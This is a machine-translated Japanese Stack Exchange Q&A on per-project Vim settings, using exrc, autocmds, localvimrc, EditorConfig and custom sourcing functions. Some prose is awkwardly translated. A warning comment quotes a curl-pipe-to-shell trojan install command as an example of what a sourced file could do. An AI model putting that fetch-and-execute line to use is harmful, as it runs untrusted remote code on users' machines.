ディレクトリツリーのみに設定を適用する


33

私の仕事では、標準tsの2 を使用しています。私の個人的な好みは4です。これは趣味のプロジェクトに使用するもので、継承したこの他のプロジェクトにはの規則がありts=8ます。

プロジェクトごとに設定したい他の設定もいくつかあります(折りたたみなど)。これらの設定をファイルタイプに基づいたり、ファイルが使用するものに基づいて自動検出することは、各プロジェクトの規則を尊重したいので、良いオプションではありません

すべてのファイルにモードラインを追加せずに、プロジェクト(ディレクトリツリー内のすべて)に適用される設定ファイルをVimで使用できますか?


回答:


19

これを行うには、いくつかの軽量な方法があります。

  1. 指定された名前のファイルを確認し、それを入手します

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    この例ではファイルは非表示になっていますが、これはオプションです。

  2. ローカル.vimrcファイル(プラグインとは異なります)

    set exrc
    

    これは1に似ていますが、ファイルの名前は「.vimrc」です。

    これに伴う一般的な提案は、使用することです

    set secure
    

    .vimrcファイルがシェルコマンドの実行などの潜在的に危険なことを実行するのを防ぎます。アイデアは、.vimrc何か他の人がやっかいなことをした人が書いたファイルをvimに読み込ませたくないということです。

  3. 現在のパスを確認するオートコマンド

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    これは私が使用するオプションです。異なるプロジェクト間であまり変更しないので、YMMVですが、パスに基づいて1つまたは2つのことを行い、それを維持したい場合は、.vimrcこれは素晴らしく簡単です。


オプション1と2には、このコメントで説明されているのと同じ制限があることに注意してください。サブディレクトリには再帰的に適用されません。

15

この目的のためにlocalvimrcを使用します。

入れて.lvimrc、プロジェクト内のプロジェクト設定とし、これらの設定はで設定を上書きします.vimrc

デフォルトでは、このファイルを入手するかどうかを尋ねられます。例:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

これは、ランダムな(信頼されていない)vimrcファイルの調達を防ぐためです。これが面倒な場合は、次の.lvimrcコマンドでファイルのホワイトリストをセットアップできますg:localvimrc_whitelist

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

または、で確認の要求を完全に無効にすることができますset g:localvimrc_ask = 0。ただし、これは推奨されません。


5

中央構成

特定のコマンド/ローカル例外を一元的に設定しても問題ない場合は、そのようなautocmdをに入れることができます~/.vimrc

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

、および同様におよびの:setlocal代わりに使用することが重要です。:set:map <buffer> ...:command! -buffer ...

一方、プロジェクトとともに特定の構成を保存したい場合(および、これをモードラインを介してすべてのファイルに埋め込みたくない場合)、次の2つのオプションがあります。

組み込み機能を備えたローカル設定

常にプロジェクトのルートディレクトリからVimを起動する場合、ビルトイン

:set exrc

.vimrc現在のディレクトリからのファイルの読み取りを有効にします。:set ts=4 sw=4そこにコマンドを配置できます。

プラグインによるローカル設定

それ以外の場合は、プラグインの助けが必要です。vim.orgにはいくつかあります。localrcプラグインをお勧めします。これにより、ローカルのファイルタイプ固有の構成も可能になります。

ファイルシステムから設定を読み取ることはセキュリティに影響することに注意してください。あなたがしたいことがあり:set secureます。


2
.exrc非常に制限されていることに注意してください。プロジェクトの概念は現在のディレクトリで停止します。つまり、サブディレクトリ内のファイルはプロジェクトに属しません。
リュックエルミット

4

あるエディタコンフィグ新しいラインスタイルや他のものと一緒にタブストップの設定などのプロジェクトレベルの構成を定義することを可能にするプロジェクトが。vimを含むあらゆる種類のエディター用のプラグインが多数あります。また、さまざまなファイルタイプの設定を定義できます。

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

これを作成し、.vimrcに追加して、プロジェクトおよびサブプロジェクトに.vimsettingsファイルを配置できるようにしました。

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

この作品が、あなただけでファイルを調達し、実行しているため、危険と考えることができるすべてのようなシェルコマンドを含む、その中にコマンド(system('curl http://example.com/install-trojan.sh | sh')...
マーティンTournoij

0

これが欲しかったので、ローカルで実装しました。「ランダムなコードを実行する」ことには関心がありませんが、これは単純なニーズに対してはうまくいくかもしれません。必要に応じてファイル名を調整します。

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

これlocal.vimrcは実際には、会社ごとのvimrcファイルの実質的なコレクション内のファイルへのシンボリックリンクであり、他の場所でソース管理を維持できます。 。カスケード構成を使用できますが、実際にはその機能は必要ありません。またF8、見つかったファイルと「メイン」.vimrcを新しいタブで開くために接続します...

これらのローカル設定内では、開かれているすべてのファイルに対して解析されるため、マッピングと設定をバッファローカルに設定してください。例えば

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.